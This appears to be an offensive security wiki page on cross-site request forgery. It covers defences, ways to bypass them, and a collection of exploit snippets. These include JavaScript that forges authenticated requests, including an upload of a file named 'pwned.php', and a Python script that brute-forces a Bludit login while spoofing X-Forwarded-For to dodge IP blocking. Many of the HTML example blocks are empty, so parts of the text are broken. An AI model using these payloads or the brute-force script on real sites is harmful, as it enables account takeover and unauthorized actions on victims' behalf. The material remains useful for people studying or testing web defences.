# CSRF \(Cross Site Request Forgery\) ## What is CSRF? **Cross-site request forger**y \(also known as CSRF\) is a web security vulnerability that allows an attacker to **induce users to perform actions that they do not intend to perform**. This is done by **making a logged in user** in the victim platform access an attacker controlled website and from there **execute** malicious JS code, send forms or retrieve "images" to the **victims account**. ### Requisites In order to be able to abuse a CSRF vulnerability you first need to **find a relevant action to abuse** \(change password or email, make the victim follow you on a social network, give you more privileges...\). The **session must rely only on cookies**, any other header can't be used to handle the session. An finally, there **shouldn't be unpredictable parameters** on the request. Several **counter-measures** could be in place to avoid this vulnerability. ### **Common defenses** * [**SameSite cookies**](hacking-with-cookies.md#samesite): If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites. * [**Cross-origin resource sharing**](cors-bypass.md): Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the **CORS policy of the victim site**. _Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response._ * Ask for the **password** user to authorise the action. * Resolve a **captcha** * Read the **Referrer** or **Origin** headers. If a regex is used it could be bypassed form example with: * http://mal.net?orig=http://example.com \(ends with the url\) * http://example.com.mal.net \(starts with the url\) * **Modify** the **name** of the **parameters** of the Post or Get request * Use a **CSRF token** in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS. ### CSRF map ![](../.gitbook/assets/image%20%28307%29.png) ## Defences Bypass ### From POST to GET Maybe the form you want to abuse is prepared to send a **POST request with a CSRF token but**, you should **check** if a **GET** is also **valid** and if when you send a GET request the **CSRF token is still being validated**. ### Lack of token Some applications correctly **validate the token when it is present but skip the validation if the token is omitted**. In this situation, the attacker can **remove the entire parameter** containing the token \(not just its value\) to bypass the validation and deliver a CSRF attack. ### CSRF token is not tied to the user session Some applications do **not validate that the token belongs to the same session** as the user who is making the request. Instead, the application **maintains a global pool of tokens** that it has issued and accepts any token that appears in this pool. In this situation, the attacker can log in to the application using their own account, **obtain a valid token**, and then **feed that token to the victim** user in their CSRF attack. ### Method bypass If the request is using a "**weird**" **method**, check if the **method** **override functionality** is working. For example, if it's **using a PUT** method you can try to **use a POST** method and **send**: _https://example.com/my/dear/api/val/num?**\_method=PUT**_ This could also works sending the **\_method parameter inside the a POST request** or using the **headers**: * _X-HTTP-Method_ * _X-HTTP-Method-Override_ * _X-Method-Override_ ### Custom header token bypass If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then: * Test the request without the **Customized Token and also header.** * Test the request with exact **same length but different token**. ### CSRF token is tied to a non-session cookie Some applications do tie the CSRF token to a cookie, but **not** to the same **cookie** that is used to track **sessions**. This can easily occur when an application employs two different frameworks, one for session handling and one for CSRF protection, which are not integrated together. If the web site contains any **behaviour** that **allows an attacker to set a cookie in a victim's browser**, then an **attack** is possible. ### CSRF token is simply duplicated in a cookie In a further variation on the preceding vulnerability, some applications do not maintain any server-side record of tokens that have been issued, but instead **duplicate each token within a cookie and a request parameter**. When the subsequent request is validated, the application simply verifies that the **token** submitted in the **request parameter matches** the value submitted in the **cookie**. In this situation, the attacker can again perform a CSRF **attack if the web site contains any cookie setting functionality**. ### Content-Type change You can change to POST Content-Type to _**application/json, application/x-url-encoded**_ or _**form-multipart**_ and maybe you will be able to bypass the CSRF token. ### Referrer / Origin check bypass #### Avoid Referrer header Some applications validate the Referer header when it is present in requests but **skip the validation if the header is omitted**. ```markup ``` #### Regexp bypasses ```text https://hahwul.com (O) https://hahwul.com?white_domain_com (O) https://hahwul.com;white_domain_com (O) https://hahwul.com/white_domain_com/../target.file (O) https://white_domain_com.hahwul.com (O) https://hahwulwhite_domain_com (O) file://123.white_domain_com (X) https://white_domain_com@hahwul.com (X) https://hahwul.com#white_domain_com (X) https://hahwul.com\.white_domain_com (X) https://hahwul.com/.white_domain_com (X) ``` ## **Exploit Examples** ### **Ex-filtrating CSRF Token** If a **CSRF token** is being used as **defence** you could try to **ex-filtrate it** abusing a [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection.md) vulnerability. ### **Make a GET request using** _**img**_ **tag** ```markup

404 - Page not found

The URL you are requesting is no longer available ``` ### Make a GET request using a form ```markup
``` ### Make a POST request using a form ```markup
``` ### **Make a Post request using Ajax** ```markup ``` ### POST request using multipart/form-data content type ```javascript myFormData = new FormData(); var blob = new Blob([""], { type: "text/text"}); myFormData.append("newAttachment", blob, "pwned.php"); fetch("http://example/some/path", { method: "post", body: myFormData, credentials: "include" }); ``` ### POST request using multipart/form-data content type x2 ```javascript var fileSize = fileData.length, boundary = "OWNEDBYOFFSEC", xhr = new XMLHttpRequest(); xhr.open("POST", url, true); // MIME POST request. xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); xhr.setRequestHeader("Content-Length", fileSize); var body = "--" + boundary + "\r\n"; body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n'; body += "Content-Type: " + ctype + "\r\n\r\n"; body += fileData + "\r\n"; body += "--" + boundary + "--"; //xhr.send(body); xhr.sendAsBinary(body); ``` ### **Make a Post request using a Form and Iframe in 2 separated files** ```markup <--! expl.html -->

Sitio bajo mantenimiento. Disculpe las molestias

``` ### **Get a CSRF Token and send a Post request \(x-www-form-urlencoded\) using Ajax** ```javascript function submitFormWithTokenJS(token) { var xhr = new XMLHttpRequest(); xhr.open("POST", POST_URL, true); // Send the proper header information along with the request xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); // This is for debugging and can be removed xhr.onreadystatechange = function() { if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { //console.log(xhr.responseText); } } xhr.send("token=" + token + "&otherparama=heyyyy"); } function getTokenJS() { var xhr = new XMLHttpRequest(); // This tels it to return it as a HTML document xhr.responseType = "document"; // true on the end of here makes the call asynchronous xhr.open("GET", GET_URL, true); xhr.onload = function (e) { if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { // Get the document from the response page = xhr.response // Get the input element input = page.getElementById("token"); // Show the token //console.log("The token is: " + input.value); // Use the token to submit the form submitFormWithTokenJS(input.value); } }; // Make the request xhr.send(null); } var GET_URL="http://google.com?param=VALUE" var POST_URL="http://google.com?param=VALUE" getTokenJS(); ``` ### **Get a CSRF Token and send a Post request using an iframe, a form and Ajax** ```markup
``` ### **Get a CSRF Token with an iframe and write inside the iframe a form a send it** ```markup ``` ### **Use 2 iframes: get the token with one and send the post request with the other** ```markup
``` ### **Get a CSRF token with Ajax and send a post with a form** ```markup
``` ### CSRF with Socket.IO ```markup ``` ### Make POST Form request invisible with invisible Iframe ```markup ``` ## CSRF Login Brute Force The code can be used to Brut Force a login form using a CSRF token \(It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting\): ```python import request import re import random URL = "http://10.10.10.191/admin/" PROXY = { "http": "127.0.0.1:8080"} SESSION_COOKIE_NAME = "BLUDIT-KEY" USER = "fergus" PASS_LIST="./words" def init_session(): #Return CSRF + Session (cookie) r = requests.get(URL) csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text) csrf = csrf.group(1) session_cookie = r.cookies.get(SESSION_COOKIE_NAME) return csrf, session_cookie def login(user, password): print(f"{user}:{password}") csrf, cookie = init_session() cookies = {SESSION_COOKIE_NAME: cookie} data = { "tokenCSRF": csrf, "username": user, "password": password, "save": "" } headers = { "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}" } r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY) if "Username or password incorrect" in r.text: return False else: print(f"FOUND {user} : {password}") return True with open(PASS_LIST, "r") as f: for line in f: login(USER, line.strip()) ``` ## Tools * [https://github.com/0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) ## References * [https://portswigger.net/web-security/csrf](https://portswigger.net/web-security/csrf) * [https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html](https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html)